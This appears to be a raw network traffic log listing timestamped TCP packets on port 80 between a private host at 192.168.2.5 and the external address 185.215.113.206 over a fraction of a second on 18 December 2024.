Dec 18, 2024 15:21:18.341166019 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.341204882 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.341285944 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.341321945 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.342442989 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.342483997 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.342566967 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.342602015 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.343609095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.343652964 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.343739033 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.343774080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.344748020 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.344788074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.344860077 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.344896078 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.345889091 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.345927000 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.346013069 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.346048117 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.347073078 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.347111940 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.347187042 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.347223997 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.348303080 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.348347902 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.348356962 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.348391056 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.349463940 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.349507093 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.349543095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.349577904 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.350675106 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.350709915 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.350716114 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.350742102 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.351843119 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.351896048 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.351938963 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.351977110 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.353039980 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.353085995 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.353120089 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.353153944 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.354218006 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.354259014 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.354336023 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.354372978 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.355387926 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.355433941 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.355463982 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.355496883 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.356590986 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.356632948 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.383533955 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.383598089 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.383627892 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.383662939 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.383980989 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.383997917 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.384017944 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.384032011 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.384707928 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.384749889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.384815931 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.384850979 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.385885000 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.385922909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.457762957 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.457809925 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.457813978 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.457847118 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.458288908 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.458336115 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.458412886 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.458448887 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.459479094 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.459518909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.459559917 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.459603071 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.460695982 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.460736990 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.460784912 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.460822105 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.461924076 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.461973906 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.462004900 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.462039948 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.463027954 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.463077068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.463140965 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.463182926 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.464286089 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.464298010 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.464350939 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.465492964 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.465538979 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.465605021 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.465641975 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.466612101 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.466665030 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.466747999 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.466799021 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.467792988 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.467844963 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.467854023 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.467900991 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.468966961 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.469016075 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.469072104 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.469111919 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.470201969 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.470246077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.470413923 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.470453024 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.471402884 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.471450090 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.471509933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.471549988 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.472554922 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.472585917 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.472609043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.472656965 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.473759890 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.473807096 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.473853111 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.473893881 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.475269079 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.475306034 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.475317955 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.475343943 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.476237059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.476284027 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.476289988 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.476334095 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.477257967 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.477303028 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.477307081 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.477344036 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.478483915 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.478523970 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.478528023 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.478560925 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.479690075 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.479736090 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.479882956 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.479934931 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.480786085 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.480838060 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.480896950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.480938911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.507613897 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.507659912 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.507663965 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.507790089 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.508110046 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.508148909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.508255959 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.508306980 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.508371115 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.508431911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.509500980 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.509552956 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.509579897 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.509618044 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.582211018 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.582256079 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.582279921 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.582309961 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.582721949 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.582768917 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.582859039 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.582907915 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.710040092 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.710079908 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.710110903 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.710159063 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.710194111 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.710242987 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.710355043 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.710405111 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.711548090 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.711601973 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.711608887 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.711664915 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.712543964 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.712616920 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.712757111 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.712811947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.713968992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.714023113 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.714144945 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.714198112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.714971066 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.715022087 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.715116978 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.715167999 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.716178894 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.716233015 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.716353893 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.716412067 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.717386961 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.717439890 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.717721939 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.717772007 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.718550920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.718622923 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.718743086 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.718787909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.719897032 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.719947100 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.720047951 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.720110893 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.720828056 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.720863104 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.720882893 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.720911026 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.722309113 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.722357988 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.722755909 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.722826004 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.723588943 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.723640919 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.723742962 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.723807096 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.724631071 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.724669933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.724699974 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.724711895 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.725982904 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.726038933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.726051092 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.726083994 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.726906061 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.726946115 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.726967096 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.726989985 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.728105068 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.728157997 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.728173018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.728219032 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.729336977 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.729387045 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.729392052 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.729432106 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.730396032 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.730456114 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.730585098 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.730634928 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.731623888 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.731688976 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.731791019 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.731841087 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.732824087 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.732877016 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.733014107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.733072996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.733891964 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.733937979 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.734065056 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.734114885 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.735130072 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.735184908 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.735333920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.735379934 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.736397028 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.736442089 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.736582994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.736629009 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.737608910 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.737653017 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.737795115 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.737843990 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.738616943 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.738667011 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.738883972 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.738943100 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.739495993 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.739533901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.739546061 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.739589930 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.740478992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.740529060 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.740556955 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.740602970 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.743927956 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.743983984 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.743990898 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.744024038 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.744434118 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.744471073 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.744482040 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.744510889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.744592905 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.744640112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.744807005 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.744853973 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.745954990 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.745992899 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.746004105 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.746030092 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.746989965 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.747025967 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.747045040 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.747072935 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.747586966 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.747647047 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.747663975 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.747689009 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.748774052 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.748831987 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.748893976 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.748935938 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.750009060 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.750046968 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.750057936 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.750096083 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.751176119 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.751236916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.751246929 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.751280069 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.785386086 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.785530090 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.785562992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.785615921 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.785907984 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.785981894 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.854677916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.854729891 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.854758978 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.854785919 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.855006933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.855055094 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.882975101 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.883022070 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.883047104 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.883078098 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:18.883116007 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.883173943 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:18.883191109 CET	49771	80	192.168.2.5	185.215.113.206
